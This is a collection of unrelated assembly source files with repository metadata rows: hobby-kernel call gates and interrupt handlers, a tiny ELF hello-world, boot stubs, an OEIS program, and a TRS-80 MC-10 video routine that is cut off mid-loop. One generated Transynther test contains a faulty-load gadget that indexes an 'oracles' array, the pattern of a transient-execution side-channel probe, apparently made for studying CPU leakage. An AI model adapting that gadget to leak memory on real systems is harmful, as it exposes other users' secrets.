global AddPageGate, MapPageGate, GrantPageGate, UnmapPageGate
;; @A+
; all the #define constants from C headers must be included here:
%include "kernel.inc"
%include "kernel_ia32.inc"
%include "resources_pc.inc"
segment .data ;
lock_var db 0
gdt_limit dw GDT_SIZE-1
gdt_base dd GDT_BASE
idt_limit dw IDT_SIZE-1
idt_base dd IDT_BASE
segment .text
;;;; CALL GATES ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Refer to comments for Send Gate to get an idea for other gates.
SendGate:
push ebp
mov ebp, esp
; Need to set ds and es so that gate can access kernel data.
push edx ; does this need saving? depends on compiler perhaps.
mov dx, DSk_SEL
mov ds, dx
mov es, dx
push dword [ebp+24]
push dword [ebp+20]
push dword [ebp+16]
push dword [ebp+12] ; parameters start at +12 for
; gates because CS is pushed with EIP.
call Send
; return value in eax.
; restore segments
add esp,16 ; remove 4 args.
mov dx, DSu_SEL
mov ds, dx
mov es, dx
pop edx
mov esp, ebp
pop ebp
retf 16 ;far return, inc sp by 4 for each parameter.
;; @A-
ReceiveGate:
push ebp
mov ebp, esp
push edx
mov dx, DSk_SEL
mov ds, dx
mov es, dx
push dword [ebp+24]
push dword [ebp+20]
push dword [ebp+16]
push dword [ebp+12]
call Receive
add esp,16
mov dx, DSu_SEL
mov ds, dx
mov es, dx
pop edx
mov esp, ebp
pop ebp
retf 16
ScheduleGate:
push ebp
mov ebp, esp
push edx
mov dx, DSk_SEL
mov ds, dx
mov es, dx
call ScheduleCall
mov dx, DSu_SEL
mov ds, dx
mov es, dx
pop edx
mov esp, ebp
pop ebp
retf 0
AddProcessGate:
push ebp
mov ebp, esp
push edx
mov dx, DSk_SEL
mov ds, dx
mov es, dx
push dword [ebp+36]
push dword [ebp+32]
push dword [ebp+28]
push dword [ebp+24]
push dword [ebp+20]
push dword [ebp+16]
push dword [ebp+12]
call AddProcessCall
add esp,28
mov word dx, DSu_SEL
mov ds, dx
mov es, dx
pop edx
mov esp, ebp
pop ebp
retf 28
RemoveProcessGate:
push ebp
mov ebp, esp
push edx
mov dx, DSk_SEL
mov ds, dx
mov es, dx
push dword [ebp+12]
call RemoveProcessCall
add esp,4
mov dx, DSu_SEL
mov ds, dx
mov es, dx
pop edx
mov esp, ebp
pop ebp
retf 4
GetProcessGate:
push ebp
mov ebp, esp
push edx
mov dx, DSk_SEL
mov ds, dx
mov es, dx
push dword [ebp+16]
push dword [ebp+12]
call GetProcessCall
add esp,8
mov dx, DSu_SEL
mov ds, dx
mov es, dx
mov esp, ebp
pop ebp
retf 8
SetProcessGate:
push ebp
mov ebp, esp
push edx
mov dx, DSk_SEL
mov ds, dx
mov es, dx
push dword [ebp+20]
push dword [ebp+16]
push dword [ebp+12]
call SetProcessCall
add esp,12
mov dx, DSu_SEL
mov ds, dx
mov es, dx
pop edx
mov esp, ebp
pop ebp
retf 12
AddResourceGate:
push ebp
mov ebp, esp
push edx
mov dx, DSk_SEL
mov ds, dx
mov es, dx
push dword [ebp+24]
push dword [ebp+20]
push dword [ebp+16]
push dword [ebp+12]
call AddResource
add esp,16
mov dx, DSu_SEL
mov ds, dx
mov es, dx
pop edx
mov esp, ebp
pop ebp
retf 16
RemoveResourceGate:
push ebp
mov ebp, esp
push edx
mov dx, DSk_SEL
mov ds, dx
mov es, dx
push dword [ebp+16]
push dword [ebp+12]
call RemoveResource
add esp,8
mov dx, DSu_SEL
mov ds, dx
mov es, dx
pop edx
mov esp, ebp
pop ebp
retf 8
AddPageGate:
push ebp
mov ebp, esp
push edx
mov dx, DSk_SEL
mov ds, dx
mov es, dx
push dword [ebp+20]
push dword [ebp+16]
push dword [ebp+12]
call AddPageCall
add esp,12
mov dx, DSu_SEL
mov ds, dx
mov es, dx
pop edx
mov esp, ebp
pop ebp
retf 12
MapPageGate:
push ebp
mov ebp, esp
push edx
mov dx, DSk_SEL
mov ds, dx
mov es, dx
push dword [ebp+28]
push dword [ebp+24]
push dword [ebp+20]
push dword [ebp+16]
push dword [ebp+12]
call MapPageCall
add esp,20
mov dx, DSu_SEL
mov ds, dx
mov es, dx
pop edx
mov esp, ebp
pop ebp
retf 20
GrantPageGate:
push ebp
mov ebp, esp
push edx
mov dx, DSk_SEL
mov ds, dx
mov es, dx
push dword [ebp+28]
push dword [ebp+24]
push dword [ebp+20]
push dword [ebp+16]
push dword [ebp+12]
call GrantPageCall
add esp,20
mov dx, DSu_SEL
mov ds, dx
mov es, dx
pop edx
mov esp, ebp
pop ebp
retf 20
UnmapPageGate:
push ebp
mov ebp, esp
push edx
mov dx, DSk_SEL
mov ds, dx
mov es, dx
push dword [ebp+16]
push dword [ebp+12]
call UnmapPageCall
add esp,8
mov dx, DSu_SEL
mov ds, dx
mov es, dx
pop edx
mov esp, ebp
pop ebp
retf 8
;; @A+
; -----------------------------------------------------------------------------
; Following functions used in controlling interrupts, scheduling, etc...
; -----------------------------------------------------------------------------
LockBus:
; compare lock_var to al (0). If compares, set lock_var to 1.
; 0 means lock available, 1 means locked.
push eax
push ebx
mov al, 0
mov bl, 1
lock_loop:
lock cmpxchg [lock_var], bl
jnz lock_loop ; lock not granted.
pop ebx
pop eax
cli
ret ; lock granted.
UnlockBus:
mov byte [lock_var], 0
sti
ret
ReloadGDT:
lgdt [gdt_limit]
lidt [idt_limit]
ret
LoadTaskRegister:
; push ebp ; normal stack frame not used because function is simple.
; mov ebp, esp
mov ax, [esp+4];[ebp + 8] ; Task Register selector
ltr ax
; mov esp, ebp
; pop ebp
ret
;; @T+
Flush:
mov eax, [esp+4]
invlpg [eax]
ret
;; @T-
In8:
; u8_t In8(u32_t port);
push edx
mov edx, [esp+8] ; port --> replace the top 3 lines with this line.
xor eax, eax ; clear eax for port input data.
in al, dx
pop edx
ret
Out8:
; u32_t Out8(u32_t port, u8_t data);
push edx
mov edx, [esp+8] ; port
mov eax, [esp+12] ; data
out dx, al
pop edx
ret
;; @A-
In16:
; u16_t In16(u32_t port);
push edx
mov edx, [esp+8] ; port
xor eax, eax ; clear eax for port input data.
in ax, dx
pop edx
ret
Out16:
; u32_t Out16(u32_t port, u16_t data);
push edx
mov edx, [esp+8] ; port
mov eax, [esp+12] ; data
out dx, ax
pop edx
ret
In32:
; u32_t In32(u32_t port);
push edx
mov edx, [esp+8] ; port
xor eax, eax ; clear eax for port input data.
in eax, dx
pop edx
ret
Out32:
; u32_t Out32(u32_t port, u32_t data);
push edx
mov edx, [esp+8] ; port
mov eax, [esp+12] ; data
out dx, eax
pop edx
ret
;; @A+
; -----------------------------------------------------------------------------
; Macros for hardware interrupts, which each jump to a different C code ISR.
; Hardware ISRs are divided between master and slave interrupts on the two
; i8259 Interrupt Controllers.
; The number after the macro name represents the number of parameters passed to
; the macro. This number is used to indicate the IRQn.
; -----------------------------------------------------------------------------
%macro hwint_master 1
nop ; this is here because bochs debugger misses 1st instruction on interrupt
; breakpoints.
; save process state after interrupt.
pushad ;PUSHAD Push EAX, ECX, EDX, EBX, original ESP, EBP, ESI, and EDI
push ds
push es
mov dx, DSk_SEL
mov ds, dx
mov es, dx
; for debugging, make this C code from here, where Interrupt() issues PIC commands:
in al, PIC1_DATA ; mask data.
or al, (1<<%1) ; [1<<irq] IRQn
out PIC1_DATA, al ; disable IRQn
mov al, PIC_EOI ; ack int code for PIC. Clears highest IRQ from ISR.
out PIC1_COMMAND, al ;acknowledge IRQ
; this is end of asm section that has been shifted to C code.
push %1 + INTERRUPT_OFFSET
call Interrupt
add esp, 4 ;remove arg to Interrupt
pop es
pop ds
popad
iret
%endmacro
%macro hwint_slave 1
nop
; save process state after interrupt.
pushad
push ds
push es
mov dx, DSk_SEL
mov ds, dx
mov es, dx
in al, PIC2_DATA ; mask data.
or al, (1<<(%1-8))
out PIC2_DATA, al
mov al, PIC_EOI
out PIC1_COMMAND, al ;acknowledge master IRQ
nop
out PIC2_COMMAND, al ;ack slave.
push %1 + INTERRUPT_OFFSET
call Interrupt
add esp, 4 ;remove arg to Interrupt
pop es
pop ds
popad
iret
%endmacro
;; @E+
; -----------------------------------------------------------------------------
%macro exception_isr 1
; at this point, esp points to EIP on stack, with CS|EFLAGS|ESP|SS above it.
push -1 ;error code. This makes all exceptions have an error code.
mov eax, cr2
push eax ; page fault address.
push dword 0x12345678 ; padding
push dword %1; exc no.
push dword EXCEPTION_SYSCALL
; esp now points to MSG_TYPE|EXC_NO|PADDING|CR2|ERROR|EIP|CS|EFLAGS|ESP|SS
mov ecx, esp ; save stack position to pass as message buffer to Exception()
pushad
push ds
push es
mov dx, DSk_SEL
mov ds, dx
mov es, dx
push ecx ; exception's esp.
push dword %1 + EXCEPTION_OFFSET; exc no.
call Exception
; Exception(u32_t exc_num, u32_t exc_msg);
add esp,8 ; remove arguments to Exception()
;;;;;
pop es
pop ds
popad
;;;
add esp, 20 ; remove error code, CR2, exc no.
iret ; remainder of exception stack is removed automatically by IRET
%endmacro
%macro exception_isr_error 1
; NB: if exception is generated by sw int, then error code is not generated.
; see IA-32 vol 3 section 5.1.2.2.
mov eax, cr2
push eax ; page fault address.
push dword 0x12345678 ; padding
push dword %1; exc no.
push dword EXCEPTION_SYSCALL
; esp now points to MSG_TYPE|EXC_NO|PADDING|CR2|ERROR_CODE|EIP|CS|EFLAGS|ESP|SS
mov ecx, esp ; save stack position to pass as message buffer to Exception()
pushad
push ds
push es
mov dx, DSk_SEL
mov ds, dx
mov es, dx
push ecx ; exception's esp.
push dword %1 + EXCEPTION_OFFSET ; exc no.
call Exception
add esp,8 ; 2 args to Exception.
pop es
pop ds
popad
add esp, 20 ; remove error code.; handler must remove error code from stack
; before executing return. Refer to (s)5.11 of Intel #3.
iret
%endmacro
;; @E-
HwInt0: hwint_master 0
HwInt1: hwint_master 1
;; @A-
HwInt2: hwint_master 2
HwInt3: hwint_master 3
HwInt4: hwint_master 4
HwInt5: hwint_master 5
HwInt6: hwint_master 6
HwInt7: hwint_master 7
HwInt8: hwint_slave 8
HwInt9: hwint_slave 9
HwInt10: hwint_slave 10
HwInt11: hwint_slave 11
HwInt12: hwint_slave 12
HwInt13: hwint_slave 13
HwInt14: hwint_slave 14
HwInt15: hwint_slave 15
;; @A+
;; @E+
DivideErrorExc: exception_isr 0
SingleStepExc: exception_isr 1
NmiExc: exception_isr 2
;; @A-
BpExc: exception_isr 3
OverflowExc: exception_isr 4
BoundsCheckExc: exception_isr 5
InvalidOpcodeExc: exception_isr 6
CoCpuExc: exception_isr 7
DoubleFaultExc: exception_isr_error 8
CoCpuOverrunExc: exception_isr 9
InvalidTssExc: exception_isr_error 10
SegNotPresentExc: exception_isr_error 11
StackExc: exception_isr_error 12
GenProtectionExc: exception_isr_error 13
PageFaultExc: exception_isr_error 14
CoCpuErrorExc: exception_isr 15
x87FpuFloatingPointExc: exception_isr 16
AlignmentCheckExc: exception_isr_error 17
MachineCheckExc: exception_isr 18
SimdFloatingPointExc: exception_isr 19
;; @A+
VirtualisationExc: exception_isr 20
; 21-31 are Intel reserved.
segment .code;
; keep this dummy section for now so that the kernel image contains the heap,
; otherwise the image is truncated. To deal with this properly, need a way to
; build image with heap size in header. The linker script writes a 32-bit value
; in this section.
;; @A-
;; @E-
; END OF FILE ;
| 21.903437 | 99 | 0.678547 |
d61c3512bb86fe127667a6e9680b2ead43f0aaef | 1,622 | asm | Assembly | asm/linux/amd64/helloworld.asm | thrig/scripts | cbde9e8ea8c3abcad0745276b06a30f1c21f9221 | [
"0BSD"
] | 17 | 2017-01-30T18:00:47.000Z | 2021-11-14T06:31:45.000Z | asm/linux/amd64/helloworld.asm | thrig/scripts | cbde9e8ea8c3abcad0745276b06a30f1c21f9221 | [
"0BSD"
] | 1 | 2020-01-04T08:43:07.000Z | 2020-01-04T08:43:07.000Z | asm/linux/amd64/helloworld.asm | thrig/scripts | cbde9e8ea8c3abcad0745276b06a30f1c21f9221 | [
"0BSD"
] | 2 | 2020-01-03T15:58:46.000Z | 2020-04-17T09:25:48.000Z | ; minimal (as far as I can make it, by executable size) "Hello World"
; for Linux amd64 with nasm
BITS 64
org 0x08048000 ; default executable load address
ehdr: ; Elf64_Ehdr
db 0x7f,"ELF"
; wrong wrong wrong wrong wrong but it saves us a few bytes (why does
; Linux even let this run?)
_exit: mov rdi,0 ; exit code
mov rax,60 ; sys_exit
syscall
dw 2 ; e_type
dw 62 ; e_machine
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shstrndx
ehdrsize equ $-ehdr
phdr: ; Elf64_Phdr
dd 1 ; p_type
dd 5 ; p_flags
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq filesize ; p_filesz
dq filesize ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $-phdr
_start: mov rax,1 ; sys_write
mov rdi,1 ; stdout
mov rsi,str
mov rdx,str.len
syscall
jmp _exit
str: db "Hello World",10
.len: equ $-str
filesize equ $-$$
| 30.603774 | 69 | 0.409371 |
8af443b70ddffd5aaeb98c0c0570f222d5e77c95 | 675 | asm | Assembly | boot/boot_cyno.asm | TheCynosure/CynOS | a6f3583584c880f93acfa43e66975dbf674d525a | [
"MIT"
] | 1 | 2017-08-24T00:23:03.000Z | 2017-08-24T00:23:03.000Z | boot/boot_cyno.asm | TheCynosure/CynOS | a6f3583584c880f93acfa43e66975dbf674d525a | [
"MIT"
] | 1 | 2017-12-05T22:47:25.000Z | 2018-12-17T02:31:56.000Z | boot/boot_cyno.asm | TheCynosure/CynOS | a6f3583584c880f93acfa43e66975dbf674d525a | [
"MIT"
] | null | null | null | VERSION_LARGE_NUM equ 1
VERSION_SMALL_NUM equ 0
bits 32
section .bss
;Creating a stack
align 16
stack_b:
resb 8196 ; 8Kb stack
stack_t:
section .text
global start
extern init_terminal
start:
mov esp, [stack_t]
;mov eax, 0x00b8000
;mov ebx, text_t
;mov ecx, text_b
;call write_to_screen
call init_terminal
hlt
jmp $
text_b:
; CynOS
dw 0x0343
dw 0x0379
dw 0x036e
dw 0x034f
dw 0x0353
; -
dw 0x0f20
dw 0x0f2d
dw 0x0f20
;VERSION NUM
dw 0x0f00 + (VERSION_LARGE_NUM + 0x30)
dw 0x0f2e
dw 0x0f00 + (VERSION_SMALL_NUM + 0x30)
times (80*25)-11 dw 0x0f20
text_t:
| 15.697674 | 42 | 0.62963 |
b6cb709673f08f8878887da0876b63a3a9464ed1 | 141 | asm | Assembly | libsrc/_DEVELOPMENT/arch/zx/display/c/sccz80/zx_saddrcup.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/arch/zx/display/c/sccz80/zx_saddrcup.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/arch/zx/display/c/sccz80/zx_saddrcup.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; void *zx_saddrcup(void *saddr)
SECTION code_arch
PUBLIC zx_saddrcup
zx_saddrcup:
INCLUDE "arch/zx/display/z80/asm_zx_saddrcup.asm"
| 12.818182 | 52 | 0.77305 |
1ee438e2075e7b714b34651c7ec847f2882d1590 | 420 | asm | Assembly | oeis/091/A091753.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/091/A091753.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/091/A091753.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A091753: Fourth column (m=5) of array A091752 ((-1,2)Stirling2) divided by -6.
; Submitted by Simon Strandgaard
; 1,60,6720,1232000,336336000,128076748800,64892219392000,42217023873024000,34301331896832000000,34042166278055936000000,40523794737397786214400000,56991191326140341157888000000
mov $2,$0
seq $0,91535 ; First column (k=2) of array A091534 ((5,2)-Stirling2).
add $2,1
mul $0,$2
add $2,1
mul $0,$2
div $0,2
| 35 | 177 | 0.771429 |
c44a4856ced06300a11e601be6120fc8a3e1f0ad | 6,903 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_284.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_284.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_284.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1246f, %r9
nop
nop
nop
add %r11, %r11
movw $0x6162, (%r9)
nop
nop
nop
and $58631, %rbp
lea addresses_normal_ht+0xaf7f, %rcx
clflush (%rcx)
nop
nop
xor $50262, %rdi
vmovups (%rcx), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %r8
nop
nop
inc %rcx
lea addresses_WT_ht+0x3e7, %r8
nop
nop
nop
nop
nop
xor %r12, %r12
mov (%r8), %di
nop
nop
nop
nop
sub %r8, %r8
lea addresses_WC_ht+0x179b, %r8
dec %r12
and $0xffffffffffffffc0, %r8
movntdqa (%r8), %xmm1
vpextrq $1, %xmm1, %r9
nop
and %rbp, %rbp
lea addresses_normal_ht+0x159f, %rsi
lea addresses_WT_ht+0xf1f, %rdi
sub %r11, %r11
mov $18, %rcx
rep movsw
nop
nop
nop
nop
and $31063, %rsi
lea addresses_D_ht+0x1b41f, %r9
sub $31170, %r12
mov (%r9), %edi
nop
nop
nop
nop
nop
add $58788, %rbp
lea addresses_WT_ht+0x4adf, %rsi
lea addresses_A_ht+0x609f, %rdi
nop
nop
nop
sub %r11, %r11
mov $32, %rcx
rep movsq
nop
mfence
lea addresses_WC_ht+0x1b79f, %r12
clflush (%r12)
nop
nop
nop
nop
nop
and %r9, %r9
mov $0x6162636465666768, %rcx
movq %rcx, (%r12)
nop
nop
nop
nop
nop
and $29408, %r8
lea addresses_WC_ht+0x18f1f, %r12
clflush (%r12)
inc %r9
movb (%r12), %r8b
nop
dec %rsi
lea addresses_WT_ht+0x194df, %r11
nop
and %r9, %r9
mov (%r11), %r8w
nop
cmp %r11, %r11
lea addresses_UC_ht+0x5b9f, %r8
nop
nop
nop
nop
nop
inc %rsi
movb (%r8), %cl
nop
and $43141, %r8
lea addresses_D_ht+0xc1f, %rcx
nop
nop
xor $40375, %r9
mov $0x6162636465666768, %rdi
movq %rdi, (%rcx)
nop
nop
nop
and %r8, %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r15
push %r8
push %r9
push %rcx
push %rdi
// Faulty Load
lea addresses_D+0x13b1f, %r15
nop
nop
nop
add $20643, %rcx
vmovups (%r15), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %r8
lea oracles, %rdi
and $0xff, %r8
shlq $12, %r8
mov (%rdi,%r8,1), %r8
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_D', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 2, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'same': True, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 36.141361 | 2,999 | 0.654933 |
1711f0e6bcfd395747376f04b706590e4ac8d84a | 3,546 | asm | Assembly | examples/dionne/rvideo/rvideo.asm | jamieleecho/tasm6801 | e64b3e97243ba767e98d97aa6e90e35726e5ecdd | [
"MIT"
] | 8 | 2019-05-07T00:06:50.000Z | 2022-01-29T14:57:54.000Z | examples/dionne/rvideo/rvideo.asm | jamieleecho/tasm6801 | e64b3e97243ba767e98d97aa6e90e35726e5ecdd | [
"MIT"
] | null | null | null | examples/dionne/rvideo/rvideo.asm | jamieleecho/tasm6801 | e64b3e97243ba767e98d97aa6e90e35726e5ecdd | [
"MIT"
] | 1 | 2021-01-18T01:50:42.000Z | 2021-01-18T01:50:42.000Z | scnwdth .equ $20 ; screen width
fretop .equ $9b ; upperbound of stack
himem .equ $a1 ; higest RAM address used by BASIC
tmp .equ $cc ; temp storage in floating point result
devnum .equ $e8 ; current i/o device number: 0 = screen; -1 = printer
chrget .equ $eb ; get next input character
scnstrt .equ $4000 ; screen start
scnend .equ $4200 ; screen end
exec .equ $421f ; default EXEC address
wmstart .equ $4221 ; warm start vector
topram .equ $4250 ; highest two-byte RAM address ($4FFE with 4K)
cns_in .equ $4285 ; extension hook for CONSOLE IN
cns_out .equ $4288 ; extension hook for CONSOLE OUT
cmd_ext .equ $42a0 ; extension hook for command dispatcher
crsptr .equ $4280 ; screen cursor position
okprmpt .equ $e271 ; display OK prompt and go to immediate mode
clrstr .equ $e3ee ; reset string variables
breset .equ $e3de ; erase variables and reset stack
blink .equ $f83f ; blink cursor
pollkey .equ $f883 ; poll key for key-down transition
lprint .equ $f9d0 ; write accumulator A to printer
clrscn .equ $fbd6 ; clear screen with contents of B
clsarg .equ $fbc8 ; evaluate numeric CLS argument
evalarg .equ $ef0d ; evaluate argument into ACCB (0..255)
msft .equ $fbe7 ; write MICROSOFT to screen
.org $8e00
.module install
pulx
stx fretop
lds topram
ins
ldx #progend
_again dex
ldaa ,x
psha
cpx #flipscn
bne _again
sts himem
ldd himem
subd #100
ldx fretop
std fretop
lds fretop
ldaa #$7E ; opcode for JMP
staa cns_in ; for console IN
staa cns_out ; for console OUT
staa cmd_ext ; for command extension
ldd himem
addd #1
std exec ; default EXEC address
subd #flipscn
std tmp
ldd #exwrmst
addd tmp
std wmstart
ldd #excin
addd tmp
std cns_in+1
ldd #excmd
addd tmp
std cmd_ext+1
ldd #extcout
addd tmp
std cns_out+1
pshx
jsr flipscn
jmp breset
; flips screen
flipscn .module flipscn
ldx #scnstrt
_flip1 ldaa ,x
bmi _flip2
eora #$40
staa ,x
_flip2 inx
cpx #scnend
bne _flip1
rts
; console out extension
extcout .module ConsoleOut
pshx
pshb
psha
ldab devnum
beq _write
jmp lprint ; send to printer
_write ldx crsptr ; get screen cursor location
cmpa #$08 ; backspace
bne _trycr
cpx #scnstrt
beq _leave
ldaa #$20 ; mc6847 SG4 'space' character
dex
staa ,x
bra _done
_trycr cmpa #$0D ; carriage return
bne _char
ldx crsptr
_blank ldaa #$20
staa ,x
inx
stx crsptr
ldab crsptr+1
bitb #$1F
bne _blank
bra _done
_char cmpa #$20
blo _leave
tsta
bmi _nflip
cmpa #$40
blo _nflip
cmpa #$60
blo _flip
anda #$9F
_flip eora #$40
_nflip staa ,x
inx
_done stx crsptr
cpx #scnend
bne _leave
ldx #scnstrt ; scroll up
_again ldd $20,x
std ,x
inx
inx
cpx #scnend-scnwdth
